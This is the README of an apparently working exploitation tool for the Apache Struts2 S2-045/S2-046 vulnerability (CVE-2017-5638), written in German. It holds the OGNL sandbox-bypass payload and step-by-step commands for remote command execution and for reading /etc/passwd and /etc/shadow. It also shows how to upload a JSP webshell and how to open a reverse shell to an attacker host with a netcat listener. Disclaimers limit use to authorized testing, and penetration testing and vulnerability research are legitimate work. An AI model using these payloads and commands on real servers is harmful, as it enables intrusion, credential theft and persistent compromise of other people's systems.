
Struts2 S2-045/S2-046 CVE-2017-5638 Erkennungs- und Exploitation-Tool
Ein reines Java-Tool zur Erkennung und Ausnutzung der Struts2-Schwachstellen S2-045 / S2-046 (CVE-2017-5638). Das Erkennungsmodul deckt die beiden Schwachstellen S2-045 / S2-046 ab, das Ausnutzungsmodul bietet Funktionen wie Befehlsausführung, Dateiverwaltung, Informationsabruf, interaktive Shell, Reverse Shell und Webshell-Upload.
Haftungsausschluss: Dieses Tool dient ausschließlich autorisierten Sicherheitstests, Schwachstellenforschung und Lehrzwecken. Die unbefugte Nutzung für illegale Zwecke ist strengstens untersagt. Der Nutzer trägt die alleinige rechtliche Verantwortung.
| Modul | Unterbefehl | Beschreibung |
|---|
| Schwachstellenerkennung | scan | Erkennt S2-045 / S2-046 (mathematische Verifizierung + UUID-Fingerprint-Markierung) |
| Batch-Scan | batch | Batch-Erkennung mehrerer Ziele, Ausgabe von Zusammenfassung und JSON-Bericht |
| Befehlsausführung | exec | Beliebige Systembefehle ausführen + Ausgabe (automatische Anpassung an Win/Linux) |
| Interaktive Shell | shell | Kontinuierliche Interaktion, cd-Verzeichnispersistenz, pwd/webroot/os-eingebaute Befehle |
| Datei-Upload | upload | OGNL-Direktschreiben (kleine Dateien) / Befehlsweises Schreiben in Segmenten (große Dateien) |
| Datei-Download | download | Base64-kodierter Download (binärsicher) |
| Web-Root-Verzeichnis | getpath | Ermittelt den physischen Bereitstellungspfad der Web-Anwendung |
| Systeminformationen | sysinfo | OS / Benutzer / Kernel / Arbeitsverzeichnis-Informationen |
| Reverse Shell | revshell | Ein-Klick-Reverse-Shell für bash / PowerShell Shell |
| Webshell-Upload | webshell | Generiert und lädt JSP-Webshell hoch (Klartext-?CMD=-Stil) |
| Berichtsexport | scan -r | JSON / HTML-Bericht |
Die Download-Funktion kann beliebige Dateien auf dem Server lesen (z. B.
/etc/shadow). Bitte nur in autorisierten Tests verwenden.
:: Im Projektverzeichnis ausführen
.\build.bat
In PowerShell muss das Präfix
.\verwendet werden; in cmd kann direktbuild.batausgeführt werden. build.bat dient nur dem Build und sendet keine Netzwerkanfragen oder führt Scans durch. Nach Abschluss des Builds bleibt das Fenster geöffnet und wechselt in eine cmd-Sitzung (Tool-Befehle können direkt ausgeführt werden, mitexitwird geschlossen). Falls Ihre Umgebung nicht in das Standard-Maven-Repository schreiben kann, setzen Sie zuerst die UmgebungsvariableM2_REPOauf ein beschreibbares Verzeichnis.
Ausgabe: target\s2tool.jar (Fat-Jar).
Für Linux/Mac siehe
build.sh
# 1. Schwachstellenerkennung
java -jar s2tool.jar scan http://target/action
# 2. Erkennung + Export als JSON/HTML-Bericht
java -jar s2tool.jar scan http://target/action -r both
# 3. Befehlsausführung
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Interaktive Shell
java -jar s2tool.jar shell http://target/action
# 5. Web-Root-Verzeichnis / Systeminformationen abrufen
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Dateien hochladen / herunterladen
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Webshell mit einem Klick hochladen (Klartext-?CMD=-Stil)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Zugriff: http://target/shell.jsp?CMD=whoami
# 8. Reverse Shell (Angreifer-Maschine zuerst lauschen lassen: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Batch-Scan
java -jar s2tool.jar batch targets.txt -r json
# Kommentarzeilen beginnen mit # (werden automatisch ignoriert)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Offiziell angekündigter Versionsbereich (beide Schwachstellen basieren auf den offiziellen Ankündigungen von Apache, zur Bewertung, ob das Ziel betroffen ist):
| Schwachstelle | CVE | Betroffene Versionen (anfällige Versionen) | Behobene Versionen (gepatchte Versionen) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 oder 2.5.10.1 und höher |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 oder 2.5.10.1 und höher |
Dieses Tool verlässt sich nicht auf die Versionsnummer, sondern ermittelt das Vorhandensein der Schwachstelle direkt über Payload-Testergebnisse, da die Versionserkennung unzuverlässig ist (viele Websites verbergen ihre Versionsnummer). Die obige Tabelle dient nur Ihrer manuellen Bewertung und beeinflusst nicht die Erkennungslogik des Tools.
Für S2-046 unterstützt das Tool sowohl die Null-Byte-Injektion im filename als auch den Content-Type-Erkennungspfad mit derselben Ursache.
Schwachstellenprinzip:
Content-Type; S2-046: filename in Content-Disposition) in die Fehlermeldung eingefügt.
Die Fehlermeldung wird über den Struts2-Internationalisierungstextverarbeitungsprozess (TextParseUtil.translateVariables) per OGNL ausgewertet(#nike='multipart/form-data') // Content-Type vortäuschen, um die contains-Prüfung zu bestehen
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Höchste MemberAccess-Berechtigung abrufen
(#_memberAccess?(#_memberAccess=#dm): // Niedrige Version: direkt ersetzen
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Paketnamen-Blacklist leeren
(#ognlUtil.getExcludedClasses().clear()) // Klassen-Blacklist leeren
(#context.setMemberAccess(#dm)))) // Hohe Version: nach dem Leeren der Blacklist ersetzen
Praxistest: Auf Struts2 2.3.30 kann die reduzierte Version (nur
setMemberAccess) die Sandbox nicht umgehen, die vollständige Version (mit dem OgnlUtil-Pfad zum Leeren der Blacklist) ist erforderlich.
| Technik | Prinzip | Beschreibung |
|---|---|---|
| Mathematische Verifizierung | OGNL führt 88888888-23333+1222 aus, Antwort enthält 88866777 → vorhanden | Öffentlicher POC-Ausdruck |
| UUID-Fingerprint-Markierung | Zufällige UUID injizieren und im Antworttext zurückspiegeln | Hohe Präzision, unbeeinflusst von Netzwerklatenz |
| Verzögerungserkennung | Thread.sleep(6000) Zeitdifferenz (nur S2-045 als Fallback ohne Ausgabe) | Schwellenwert >3.6s |
Bewertungsregel: Mathematische Verifizierung oder Fingerprint-Markierung trifft zu → als vorhanden bestätigt; nur Verzögerung trifft zu → als vermutlich vorhanden; keine trifft zu → nicht vorhanden.
struts2-vuln-tool/
├── pom.xml # Maven-Build (Shade-Packaging als Fat-Jar)
├── build.bat / build.sh # Build-Skripte (Windows verifiziert / Linux Referenz)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Haupt-Einstiegspunkt (Picocli CLI)
│ ├── core/ # Kern-Engine: HTTP-Client / Payload-Konstruktion / Antwortanalyse / Ziel-Parsing
│ ├── plugins/ # Schwachstellen-Plugin-Architektur (Erweiterungspunkte)
│ │ └── impl/ # S2_045 / S2_046 Erkennungs-Plugins
│ ├── modules/ # Funktionsmodule: Erkennungs-Scheduling / Fingerprint-Erkennung / Befehlsausführung / Dateiverwaltung / Shell usw.
│ ├── report/ # Berichtsgenerierung (Konsole / JSON / HTML)
│ └── utils/ # Logging-Werkzeuge
├── src/main/resources/ # Logging-Konfiguration / Payload-Referenz
└── src/test/ # JUnit-Unit-Tests
Artikel zu Schwachstellenprinzip und Technik:
Referenzierte Open-Source-Projekte (Die folgenden Repositories wurden bei der Entwicklung dieses Projekts als Ideen- und Payload-Quelle herangezogen):
Nur für autorisierte Sicherheitstests sowie Lern- und Forschungszwecke.
Die unbefugte Nutzung für illegale Zwecke ist strengstens untersagt. Der Nutzer trägt die alleinige rechtliche Verantwortung.